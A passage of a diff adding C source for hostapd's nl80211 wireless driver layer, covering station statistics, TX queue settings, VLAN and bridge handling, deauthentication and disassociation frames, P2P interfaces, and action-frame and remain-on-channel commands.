+ */ + + if (!tb[NL80211_ATTR_STA_INFO]) { + wpa_printf(MSG_DEBUG, "sta stats missing!"); + return NL_SKIP; + } + if (nla_parse_nested(stats, NL80211_STA_INFO_MAX, + tb[NL80211_ATTR_STA_INFO], + stats_policy)) { + wpa_printf(MSG_DEBUG, "failed to parse nested attributes!"); + return NL_SKIP; + } + + if (stats[NL80211_STA_INFO_INACTIVE_TIME]) + data->inactive_msec = + nla_get_u32(stats[NL80211_STA_INFO_INACTIVE_TIME]); + if (stats[NL80211_STA_INFO_RX_BYTES]) + data->rx_bytes = nla_get_u32(stats[NL80211_STA_INFO_RX_BYTES]); + if (stats[NL80211_STA_INFO_TX_BYTES]) + data->tx_bytes = nla_get_u32(stats[NL80211_STA_INFO_TX_BYTES]); + if (stats[NL80211_STA_INFO_RX_PACKETS]) + data->rx_packets = + nla_get_u32(stats[NL80211_STA_INFO_RX_PACKETS]); + if (stats[NL80211_STA_INFO_TX_PACKETS]) + data->tx_packets = + nla_get_u32(stats[NL80211_STA_INFO_TX_PACKETS]); + if (stats[NL80211_STA_INFO_TX_FAILED]) + data->tx_retry_failed = + nla_get_u32(stats[NL80211_STA_INFO_TX_FAILED]); + + return NL_SKIP; +} + +static int i802_read_sta_data(struct i802_bss *bss, + struct hostap_sta_driver_data *data, + const u8 *addr) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + + os_memset(data, 0, sizeof(*data)); + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_STATION); + + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(bss->ifname)); + + return send_and_recv_msgs(drv, msg, get_sta_handler, data); + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int i802_set_tx_queue_params(void *priv, int queue, int aifs, + int cw_min, int cw_max, int burst_time) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + struct nlattr *txq, *params; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_WIPHY); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(bss->ifname)); + + txq = nla_nest_start(msg, NL80211_ATTR_WIPHY_TXQ_PARAMS); + if (!txq) + goto nla_put_failure; + + /* We are only sending parameters for a single TXQ at a time */ + params = nla_nest_start(msg, 1); + if (!params) + goto nla_put_failure; + + switch (queue) { + case 0: + NLA_PUT_U8(msg, NL80211_TXQ_ATTR_QUEUE, NL80211_TXQ_Q_VO); + break; + case 1: + NLA_PUT_U8(msg, NL80211_TXQ_ATTR_QUEUE, NL80211_TXQ_Q_VI); + break; + case 2: + NLA_PUT_U8(msg, NL80211_TXQ_ATTR_QUEUE, NL80211_TXQ_Q_BE); + break; + case 3: + NLA_PUT_U8(msg, NL80211_TXQ_ATTR_QUEUE, NL80211_TXQ_Q_BK); + break; + } + /* Burst time is configured in units of 0.1 msec and TXOP parameter in + * 32 usec, so need to convert the value here. */ + NLA_PUT_U16(msg, NL80211_TXQ_ATTR_TXOP, (burst_time * 100 + 16) / 32); + NLA_PUT_U16(msg, NL80211_TXQ_ATTR_CWMIN, cw_min); + NLA_PUT_U16(msg, NL80211_TXQ_ATTR_CWMAX, cw_max); + NLA_PUT_U8(msg, NL80211_TXQ_ATTR_AIFS, aifs); + + nla_nest_end(msg, params); + + nla_nest_end(msg, txq); + + if (send_and_recv_msgs(drv, msg, NULL, NULL) == 0) + return 0; + msg = NULL; + nla_put_failure: + nlmsg_free(msg); + return -1; +} + + +static int i802_set_sta_vlan(struct i802_bss *bss, const u8 *addr, + const char *ifname, int vlan_id) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret = -ENOBUFS; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + wpa_printf(MSG_DEBUG, "nl80211: %s[%d]: set_sta_vlan(" MACSTR + ", ifname=%s[%d], vlan_id=%d)", + bss->ifname, if_nametoindex(bss->ifname), + MAC2STR(addr), ifname, if_nametoindex(ifname), vlan_id); + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_STATION); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, + if_nametoindex(bss->ifname)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + NLA_PUT_U32(msg, NL80211_ATTR_STA_VLAN, + if_nametoindex(ifname)); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret < 0) { + wpa_printf(MSG_ERROR, "nl80211: NL80211_ATTR_STA_VLAN (addr=" + MACSTR " ifname=%s vlan_id=%d) failed: %d (%s)", + MAC2STR(addr), ifname, vlan_id, ret, + strerror(-ret)); + } + nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int i802_get_inact_sec(void *priv, const u8 *addr) +{ + struct hostap_sta_driver_data data; + int ret; + + data.inactive_msec = (unsigned long) -1; + ret = i802_read_sta_data(priv, &data, addr); + if (ret || data.inactive_msec == (unsigned long) -1) + return -1; + return data.inactive_msec / 1000; +} + + +static int i802_sta_clear_stats(void *priv, const u8 *addr) +{ +#if 0 + /* TODO */ +#endif + return 0; +} + + +static int i802_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, + int reason) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct ieee80211_mgmt mgmt; + + if (drv->device_ap_sme) + return wpa_driver_nl80211_sta_remove(bss, addr); + + memset(&mgmt, 0, sizeof(mgmt)); + mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_DEAUTH); + memcpy(mgmt.da, addr, ETH_ALEN); + memcpy(mgmt.sa, own_addr, ETH_ALEN); + memcpy(mgmt.bssid, own_addr, ETH_ALEN); + mgmt.u.deauth.reason_code = host_to_le16(reason); + return wpa_driver_nl80211_send_mlme(bss, (u8 *) &mgmt, + IEEE80211_HDRLEN + + sizeof(mgmt.u.deauth), 0, 0, 0, 0, + 0); +} + + +static int i802_sta_disassoc(void *priv, const u8 *own_addr, const u8 *addr, + int reason) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct ieee80211_mgmt mgmt; + + if (drv->device_ap_sme) + return wpa_driver_nl80211_sta_remove(bss, addr); + + memset(&mgmt, 0, sizeof(mgmt)); + mgmt.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_DISASSOC); + memcpy(mgmt.da, addr, ETH_ALEN); + memcpy(mgmt.sa, own_addr, ETH_ALEN); + memcpy(mgmt.bssid, own_addr, ETH_ALEN); + mgmt.u.disassoc.reason_code = host_to_le16(reason); + return wpa_driver_nl80211_send_mlme(bss, (u8 *) &mgmt, + IEEE80211_HDRLEN + + sizeof(mgmt.u.disassoc), 0, 0, 0, 0, + 0); +} + + +static void add_ifidx(struct wpa_driver_nl80211_data *drv, int ifidx) +{ + int i; + int *old; + + wpa_printf(MSG_DEBUG, "nl80211: Add own interface ifindex %d", + ifidx); + for (i = 0; i < drv->num_if_indices; i++) { + if (drv->if_indices[i] == 0) { + drv->if_indices[i] = ifidx; + return; + } + } + + if (drv->if_indices != drv->default_if_indices) + old = drv->if_indices; + else + old = NULL; + + drv->if_indices = os_realloc_array(old, drv->num_if_indices + 1, + sizeof(int)); + if (!drv->if_indices) { + if (!old) + drv->if_indices = drv->default_if_indices; + else + drv->if_indices = old; + wpa_printf(MSG_ERROR, "Failed to reallocate memory for " + "interfaces"); + wpa_printf(MSG_ERROR, "Ignoring EAPOL on interface %d", ifidx); + return; + } else if (!old) + os_memcpy(drv->if_indices, drv->default_if_indices, + sizeof(drv->default_if_indices)); + drv->if_indices[drv->num_if_indices] = ifidx; + drv->num_if_indices++; +} + + +static void del_ifidx(struct wpa_driver_nl80211_data *drv, int ifidx) +{ + int i; + + for (i = 0; i < drv->num_if_indices; i++) { + if (drv->if_indices[i] == ifidx) { + drv->if_indices[i] = 0; + break; + } + } +} + + +static int have_ifidx(struct wpa_driver_nl80211_data *drv, int ifidx) +{ + int i; + + for (i = 0; i < drv->num_if_indices; i++) + if (drv->if_indices[i] == ifidx) + return 1; + + return 0; +} + + +static int i802_set_wds_sta(void *priv, const u8 *addr, int aid, int val, + const char *bridge_ifname, char *ifname_wds) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + char name[IFNAMSIZ + 1]; + + os_snprintf(name, sizeof(name), "%s.sta%d", bss->ifname, aid); + if (ifname_wds) + os_strlcpy(ifname_wds, name, IFNAMSIZ + 1); + + wpa_printf(MSG_DEBUG, "nl80211: Set WDS STA addr=" MACSTR + " aid=%d val=%d name=%s", MAC2STR(addr), aid, val, name); + if (val) { + if (!if_nametoindex(name)) { + if (nl80211_create_iface(drv, name, + NL80211_IFTYPE_AP_VLAN, + bss->addr, 1, NULL, NULL, 0) < + 0) + return -1; + if (bridge_ifname && + linux_br_add_if(drv->global->ioctl_sock, + bridge_ifname, name) < 0) + return -1; + } + if (linux_set_iface_flags(drv->global->ioctl_sock, name, 1)) { + wpa_printf(MSG_ERROR, "nl80211: Failed to set WDS STA " + "interface %s up", name); + } + return i802_set_sta_vlan(priv, addr, name, 0); + } else { + if (bridge_ifname) + linux_br_del_if(drv->global->ioctl_sock, bridge_ifname, + name); + + i802_set_sta_vlan(priv, addr, bss->ifname, 0); + return wpa_driver_nl80211_if_remove(priv, WPA_IF_AP_VLAN, + name); + } +} + + +static void handle_eapol(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct wpa_driver_nl80211_data *drv = eloop_ctx; + struct sockaddr_ll lladdr; + unsigned char buf[3000]; + int len; + socklen_t fromlen = sizeof(lladdr); + + len = recvfrom(sock, buf, sizeof(buf), 0, + (struct sockaddr *)&lladdr, &fromlen); + if (len < 0) { + wpa_printf(MSG_ERROR, "nl80211: EAPOL recv failed: %s", + strerror(errno)); + return; + } + + if (have_ifidx(drv, lladdr.sll_ifindex)) + drv_event_eapol_rx(drv->ctx, lladdr.sll_addr, buf, len); +} + + +static int i802_check_bridge(struct wpa_driver_nl80211_data *drv, + struct i802_bss *bss, + const char *brname, const char *ifname) +{ + int ifindex; + char in_br[IFNAMSIZ]; + + os_strlcpy(bss->brname, brname, IFNAMSIZ); + ifindex = if_nametoindex(brname); + if (ifindex == 0) { + /* + * Bridge was configured, but the bridge device does + * not exist. Try to add it now. + */ + if (linux_br_add(drv->global->ioctl_sock, brname) < 0) { + wpa_printf(MSG_ERROR, "nl80211: Failed to add the " + "bridge interface %s: %s", + brname, strerror(errno)); + return -1; + } + bss->added_bridge = 1; + add_ifidx(drv, if_nametoindex(brname)); + } + + if (linux_br_get(in_br, ifname) == 0) { + if (os_strcmp(in_br, brname) == 0) + return 0; /* already in the bridge */ + + wpa_printf(MSG_DEBUG, "nl80211: Removing interface %s from " + "bridge %s", ifname, in_br); + if (linux_br_del_if(drv->global->ioctl_sock, in_br, ifname) < + 0) { + wpa_printf(MSG_ERROR, "nl80211: Failed to " + "remove interface %s from bridge " + "%s: %s", + ifname, brname, strerror(errno)); + return -1; + } + } + + wpa_printf(MSG_DEBUG, "nl80211: Adding interface %s into bridge %s", + ifname, brname); + if (linux_br_add_if(drv->global->ioctl_sock, brname, ifname) < 0) { + wpa_printf(MSG_ERROR, "nl80211: Failed to add interface %s " + "into bridge %s: %s", + ifname, brname, strerror(errno)); + return -1; + } + bss->added_if_into_bridge = 1; + + return 0; +} + + +static void *i802_init(struct hostapd_data *hapd, + struct wpa_init_params *params) +{ + struct wpa_driver_nl80211_data *drv; + struct i802_bss *bss; + size_t i; + char brname[IFNAMSIZ]; + int ifindex, br_ifindex; + int br_added = 0; + + bss = wpa_driver_nl80211_drv_init(hapd, params->ifname, + params->global_priv, 1, + params->bssid); + if (bss == NULL) + return NULL; + + drv = bss->drv; + + if (linux_br_get(brname, params->ifname) == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Interface %s is in bridge %s", + params->ifname, brname); + br_ifindex = if_nametoindex(brname); + } else { + brname[0] = '\0'; + br_ifindex = 0; + } + + for (i = 0; i < params->num_bridge; i++) { + if (params->bridge[i]) { + ifindex = if_nametoindex(params->bridge[i]); + if (ifindex) + add_ifidx(drv, ifindex); + if (ifindex == br_ifindex) + br_added = 1; + } + } + if (!br_added && br_ifindex && + (params->num_bridge == 0 || !params->bridge[0])) + add_ifidx(drv, br_ifindex); + + /* start listening for EAPOL on the default AP interface */ + add_ifidx(drv, drv->ifindex); + + if (params->num_bridge && params->bridge[0] && + i802_check_bridge(drv, bss, params->bridge[0], params->ifname) < 0) + goto failed; + + drv->eapol_sock = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_PAE)); + if (drv->eapol_sock < 0) { + wpa_printf(MSG_ERROR, "nl80211: socket(PF_PACKET, SOCK_DGRAM, ETH_P_PAE) failed: %s", + strerror(errno)); + goto failed; + } + + if (eloop_register_read_sock(drv->eapol_sock, handle_eapol, drv, NULL)) + { + wpa_printf(MSG_INFO, "nl80211: Could not register read socket for eapol"); + goto failed; + } + + if (linux_get_ifhwaddr(drv->global->ioctl_sock, bss->ifname, + params->own_addr)) + goto failed; + + memcpy(bss->addr, params->own_addr, ETH_ALEN); + + return bss; + +failed: + wpa_driver_nl80211_deinit(bss); + return NULL; +} + + +static void i802_deinit(void *priv) +{ + struct i802_bss *bss = priv; + wpa_driver_nl80211_deinit(bss); +} + + +static enum nl80211_iftype wpa_driver_nl80211_if_type( + enum wpa_driver_if_type type) +{ + switch (type) { + case WPA_IF_STATION: + return NL80211_IFTYPE_STATION; + case WPA_IF_P2P_CLIENT: + case WPA_IF_P2P_GROUP: + return NL80211_IFTYPE_P2P_CLIENT; + case WPA_IF_AP_VLAN: + return NL80211_IFTYPE_AP_VLAN; + case WPA_IF_AP_BSS: + return NL80211_IFTYPE_AP; + case WPA_IF_P2P_GO: + return NL80211_IFTYPE_P2P_GO; + case WPA_IF_P2P_DEVICE: + return NL80211_IFTYPE_P2P_DEVICE; + } + return -1; +} + + +#ifdef CONFIG_P2P + +static int nl80211_addr_in_use(struct nl80211_global *global, const u8 *addr) +{ + struct wpa_driver_nl80211_data *drv; + dl_list_for_each(drv, &global->interfaces, + struct wpa_driver_nl80211_data, list) { + if (os_memcmp(addr, drv->first_bss->addr, ETH_ALEN) == 0) + return 1; + } + return 0; +} + + +static int nl80211_p2p_interface_addr(struct wpa_driver_nl80211_data *drv, + u8 *new_addr) +{ + unsigned int idx; + + if (!drv->global) + return -1; + + os_memcpy(new_addr, drv->first_bss->addr, ETH_ALEN); + for (idx = 0; idx < 64; idx++) { + new_addr[0] = drv->first_bss->addr[0] | 0x02; + new_addr[0] ^= idx << 2; + if (!nl80211_addr_in_use(drv->global, new_addr)) + break; + } + if (idx == 64) + return -1; + + wpa_printf(MSG_DEBUG, "nl80211: Assigned new P2P Interface Address " + MACSTR, MAC2STR(new_addr)); + + return 0; +} + +#endif /* CONFIG_P2P */ + + +struct wdev_info { + u64 wdev_id; + int wdev_id_set; + u8 macaddr[ETH_ALEN]; +}; + +static int nl80211_wdev_handler(struct nl_msg *msg, void *arg) +{ + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct wdev_info *wi = arg; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + if (tb[NL80211_ATTR_WDEV]) { + wi->wdev_id = nla_get_u64(tb[NL80211_ATTR_WDEV]); + wi->wdev_id_set = 1; + } + + if (tb[NL80211_ATTR_MAC]) + os_memcpy(wi->macaddr, nla_data(tb[NL80211_ATTR_MAC]), + ETH_ALEN); + + return NL_SKIP; +} + + +static int wpa_driver_nl80211_if_add(void *priv, enum wpa_driver_if_type type, + const char *ifname, const u8 *addr, + void *bss_ctx, void **drv_priv, + char *force_ifname, u8 *if_addr, + const char *bridge, int use_existing) +{ + enum nl80211_iftype nlmode; + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + int ifidx; + int added = 1; + + if (addr) + os_memcpy(if_addr, addr, ETH_ALEN); + nlmode = wpa_driver_nl80211_if_type(type); + if (nlmode == NL80211_IFTYPE_P2P_DEVICE) { + struct wdev_info p2pdev_info; + + os_memset(&p2pdev_info, 0, sizeof(p2pdev_info)); + ifidx = nl80211_create_iface(drv, ifname, nlmode, addr, + 0, nl80211_wdev_handler, + &p2pdev_info, use_existing); + if (!p2pdev_info.wdev_id_set || ifidx != 0) { + wpa_printf(MSG_ERROR, "nl80211: Failed to create a P2P Device interface %s", + ifname); + return -1; + } + + drv->global->if_add_wdevid = p2pdev_info.wdev_id; + drv->global->if_add_wdevid_set = p2pdev_info.wdev_id_set; + if (!is_zero_ether_addr(p2pdev_info.macaddr)) + os_memcpy(if_addr, p2pdev_info.macaddr, ETH_ALEN); + wpa_printf(MSG_DEBUG, "nl80211: New P2P Device interface %s (0x%llx) created", + ifname, + (long long unsigned int) p2pdev_info.wdev_id); + } else { + ifidx = nl80211_create_iface(drv, ifname, nlmode, addr, + 0, NULL, NULL, use_existing); + if (use_existing && ifidx == -ENFILE) { + added = 0; + ifidx = if_nametoindex(ifname); + } else if (ifidx < 0) { + return -1; + } + } + + if (!addr) { + if (drv->nlmode == NL80211_IFTYPE_P2P_DEVICE) + os_memcpy(if_addr, bss->addr, ETH_ALEN); + else if (linux_get_ifhwaddr(drv->global->ioctl_sock, + bss->ifname, if_addr) < 0) { + if (added) + nl80211_remove_iface(drv, ifidx); + return -1; + } + } + +#ifdef CONFIG_P2P + if (!addr && + (type == WPA_IF_P2P_CLIENT || type == WPA_IF_P2P_GROUP || + type == WPA_IF_P2P_GO)) { + /* Enforce unique P2P Interface Address */ + u8 new_addr[ETH_ALEN]; + + if (linux_get_ifhwaddr(drv->global->ioctl_sock, ifname, + new_addr) < 0) { + nl80211_remove_iface(drv, ifidx); + return -1; + } + if (nl80211_addr_in_use(drv->global, new_addr)) { + wpa_printf(MSG_DEBUG, "nl80211: Allocate new address " + "for P2P group interface"); + if (nl80211_p2p_interface_addr(drv, new_addr) < 0) { + nl80211_remove_iface(drv, ifidx); + return -1; + } + if (linux_set_ifhwaddr(drv->global->ioctl_sock, ifname, + new_addr) < 0) { + nl80211_remove_iface(drv, ifidx); + return -1; + } + } + os_memcpy(if_addr, new_addr, ETH_ALEN); + } +#endif /* CONFIG_P2P */ + + if (type == WPA_IF_AP_BSS) { + struct i802_bss *new_bss = os_zalloc(sizeof(*new_bss)); + if (new_bss == NULL) { + if (added) + nl80211_remove_iface(drv, ifidx); + return -1; + } + + if (bridge && + i802_check_bridge(drv, new_bss, bridge, ifname) < 0) { + wpa_printf(MSG_ERROR, "nl80211: Failed to add the new " + "interface %s to a bridge %s", + ifname, bridge); + if (added) + nl80211_remove_iface(drv, ifidx); + os_free(new_bss); + return -1; + } + + if (linux_set_iface_flags(drv->global->ioctl_sock, ifname, 1)) + { + nl80211_remove_iface(drv, ifidx); + os_free(new_bss); + return -1; + } + os_strlcpy(new_bss->ifname, ifname, IFNAMSIZ); + os_memcpy(new_bss->addr, if_addr, ETH_ALEN); + new_bss->ifindex = ifidx; + new_bss->drv = drv; + new_bss->next = drv->first_bss->next; + new_bss->freq = drv->first_bss->freq; + new_bss->ctx = bss_ctx; + new_bss->added_if = added; + drv->first_bss->next = new_bss; + if (drv_priv) + *drv_priv = new_bss; + nl80211_init_bss(new_bss); + + /* Subscribe management frames for this WPA_IF_AP_BSS */ + if (nl80211_setup_ap(new_bss)) + return -1; + } + + if (drv->global) + drv->global->if_add_ifindex = ifidx; + + return 0; +} + + +static int wpa_driver_nl80211_if_remove(struct i802_bss *bss, + enum wpa_driver_if_type type, + const char *ifname) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + int ifindex = if_nametoindex(ifname); + + wpa_printf(MSG_DEBUG, "nl80211: %s(type=%d ifname=%s) ifindex=%d added_if=%d", + __func__, type, ifname, ifindex, bss->added_if); + if (ifindex > 0 && (bss->added_if || bss->ifindex != ifindex)) + nl80211_remove_iface(drv, ifindex); + + if (type != WPA_IF_AP_BSS) + return 0; + + if (bss->added_if_into_bridge) { + if (linux_br_del_if(drv->global->ioctl_sock, bss->brname, + bss->ifname) < 0) + wpa_printf(MSG_INFO, "nl80211: Failed to remove " + "interface %s from bridge %s: %s", + bss->ifname, bss->brname, strerror(errno)); + } + if (bss->added_bridge) { + if (linux_br_del(drv->global->ioctl_sock, bss->brname) < 0) + wpa_printf(MSG_INFO, "nl80211: Failed to remove " + "bridge %s: %s", + bss->brname, strerror(errno)); + } + + if (bss != drv->first_bss) { + struct i802_bss *tbss; + + wpa_printf(MSG_DEBUG, "nl80211: Not the first BSS - remove it"); + for (tbss = drv->first_bss; tbss; tbss = tbss->next) { + if (tbss->next == bss) { + tbss->next = bss->next; + /* Unsubscribe management frames */ + nl80211_teardown_ap(bss); + nl80211_destroy_bss(bss); + os_free(bss); + bss = NULL; + break; + } + } + if (bss) + wpa_printf(MSG_INFO, "nl80211: %s - could not find " + "BSS %p in the list", __func__, bss); + } else { + wpa_printf(MSG_DEBUG, "nl80211: First BSS - reassign context"); + nl80211_teardown_ap(bss); + if (!bss->added_if && !drv->first_bss->next) + wpa_driver_nl80211_del_beacon(drv); + nl80211_destroy_bss(bss); + if (!bss->added_if) + i802_set_iface_flags(bss, 0); + if (drv->first_bss->next) { + drv->first_bss = drv->first_bss->next; + drv->ctx = drv->first_bss->ctx; + os_free(bss); + } else { + wpa_printf(MSG_DEBUG, "nl80211: No second BSS to reassign context to"); + } + } + + return 0; +} + + +static int cookie_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + u64 *cookie = arg; + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + if (tb[NL80211_ATTR_COOKIE]) + *cookie = nla_get_u64(tb[NL80211_ATTR_COOKIE]); + return NL_SKIP; +} + + +static int nl80211_send_frame_cmd(struct i802_bss *bss, + unsigned int freq, unsigned int wait, + const u8 *buf, size_t buf_len, + u64 *cookie_out, int no_cck, int no_ack, + int offchanok) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + u64 cookie; + int ret = -1; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + wpa_printf(MSG_MSGDUMP, "nl80211: CMD_FRAME freq=%u wait=%u no_cck=%d " + "no_ack=%d offchanok=%d", + freq, wait, no_cck, no_ack, offchanok); + wpa_hexdump(MSG_MSGDUMP, "CMD_FRAME", buf, buf_len); + nl80211_cmd(drv, msg, 0, NL80211_CMD_FRAME); + + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + if (freq) + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq); + if (wait) + NLA_PUT_U32(msg, NL80211_ATTR_DURATION, wait); + if (offchanok && (drv->capa.flags & WPA_DRIVER_FLAGS_OFFCHANNEL_TX)) + NLA_PUT_FLAG(msg, NL80211_ATTR_OFFCHANNEL_TX_OK); + if (no_cck) + NLA_PUT_FLAG(msg, NL80211_ATTR_TX_NO_CCK_RATE); + if (no_ack) + NLA_PUT_FLAG(msg, NL80211_ATTR_DONT_WAIT_FOR_ACK); + + NLA_PUT(msg, NL80211_ATTR_FRAME, buf_len, buf); + + cookie = 0; + ret = send_and_recv_msgs(drv, msg, cookie_handler, &cookie); + msg = NULL; + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Frame command failed: ret=%d " + "(%s) (freq=%u wait=%u)", ret, strerror(-ret), + freq, wait); + goto nla_put_failure; + } + wpa_printf(MSG_MSGDUMP, "nl80211: Frame TX command accepted%s; " + "cookie 0x%llx", no_ack ? " (no ACK)" : "", + (long long unsigned int) cookie); + + if (cookie_out) + *cookie_out = no_ack ? (u64) -1 : cookie; + +nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int wpa_driver_nl80211_send_action(struct i802_bss *bss, + unsigned int freq, + unsigned int wait_time, + const u8 *dst, const u8 *src, + const u8 *bssid, + const u8 *data, size_t data_len, + int no_cck) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + int ret = -1; + u8 *buf; + struct ieee80211_hdr *hdr; + + wpa_printf(MSG_DEBUG, "nl80211: Send Action frame (ifindex=%d, " + "freq=%u MHz wait=%d ms no_cck=%d)", + drv->ifindex, freq, wait_time, no_cck); + + buf = os_zalloc(24 + data_len); + if (buf == NULL) + return ret; + os_memcpy(buf + 24, data, data_len); + hdr = (struct ieee80211_hdr *) buf; + hdr->frame_control = + IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_ACTION); + os_memcpy(hdr->addr1, dst, ETH_ALEN); + os_memcpy(hdr->addr2, src, ETH_ALEN); + os_memcpy(hdr->addr3, bssid, ETH_ALEN); + + if (is_ap_interface(drv->nlmode) && + (!(drv->capa.flags & WPA_DRIVER_FLAGS_OFFCHANNEL_TX) || + (int) freq == bss->freq || drv->device_ap_sme || + !drv->use_monitor)) + ret = wpa_driver_nl80211_send_mlme(bss, buf, 24 + data_len, + 0, freq, no_cck, 1, + wait_time); + else + ret = nl80211_send_frame_cmd(bss, freq, wait_time, buf, + 24 + data_len, + &drv->send_action_cookie, + no_cck, 0, 1); + + os_free(buf); + return ret; +} + + +static void wpa_driver_nl80211_send_action_cancel_wait(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + + msg = nlmsg_alloc(); + if (!msg) + return; + + wpa_printf(MSG_DEBUG, "nl80211: Cancel TX frame wait: cookie=0x%llx", + (long long unsigned int) drv->send_action_cookie); + nl80211_cmd(drv, msg, 0, NL80211_CMD_FRAME_WAIT_CANCEL); + + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + NLA_PUT_U64(msg, NL80211_ATTR_COOKIE, drv->send_action_cookie); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) + wpa_printf(MSG_DEBUG, "nl80211: wait cancel failed: ret=%d " + "(%s)", ret, strerror(-ret)); + + nla_put_failure: + nlmsg_free(msg); +} + + +static int wpa_driver_nl80211_remain_on_channel(void *priv, unsigned int freq, + unsigned int duration) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + u64 cookie; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_REMAIN_ON_CHANNEL); + + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq); + NLA_PUT_U32(msg, NL80211_ATTR_DURATION, duration); + + cookie = 0; + ret = send_and_recv_msgs(drv, msg, cookie_handler, &cookie); + msg = NULL; + if (ret == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Remain-on-channel cookie " + "0x%llx for freq=%u MHz duration=%u", + (long long unsigned int) cookie, freq, duration); + drv->remain_on_chan_cookie = cookie; + drv->pending_remain_on_chan = 1; + return 0; + } + wpa_printf(MSG_DEBUG, "nl80211: Failed to request remain-on-channel " + "(freq=%d duration=%u): %d (%s)", + freq, duration, ret, strerror(-ret)); +nla_put_failure: + nlmsg_free(msg); + return -1; +} + + +static int wpa_driver_nl80211_cancel_remain_on_channel(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + + if (!drv->pending_remain_on_chan) { + wpa_printf(MSG_DEBUG, "nl80211: No pending remain-on-channel " + "to cancel"); + return -1; + } + + wpa_printf(MSG_DEBUG, "nl80211: Cancel remain-on-channel with cookie " + "0x%llx", + (long long unsigned int) drv->remain_on_chan_cookie); + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL); + + if (nl80211_set_iface_id(msg, bss) < 0) + goto nla_put_failure; + + NLA_PUT_U64(msg, NL80211_ATTR_COOKIE, drv->remain_on_chan_cookie); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret == 0) + return 0; + wpa_printf(MSG_DEBUG, "nl80211: Failed to cancel remain-on-channel: " + "%d (%s)", ret, strerror(-ret)); +nla_put_failure: + nlmsg_free(msg); + return -1; +} + + +static int wpa_driver_nl80211_probe_req_report(struct i802_bss *bss, int report) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + + if (!report) { + if (bss->nl_preq && drv->device_ap_sme && + is_ap_interface(drv->nlmode)) { + /* + * Do not disable Probe Request reporting that was + * enabled in nl80211_setup_ap(). + */ + wpa_printf(MSG_DEBUG, "nl80211: Skip disabling of " + "Probe Request reporting nl_preq=%p while " + "in AP mode", bss->nl_preq); + } else if (bss->nl_preq) { + wpa_printf(MSG_DEBUG, "nl80211: Disable Probe Request " + "reporting nl_preq=%p", bss->nl_preq); + nl80211_destroy_eloop_handle(&bss->nl_preq); + } + return 0; + } + + if (bss->nl_preq) { + wpa_printf(MSG_DEBUG, "nl80211: Probe Request reporting " + "already on! nl_preq=%p", bss->nl_preq); + return 0; + } + + bss->nl_preq = nl_create_handle(drv->global->nl_cb, "preq"); + if (bss->nl_preq == NULL) + 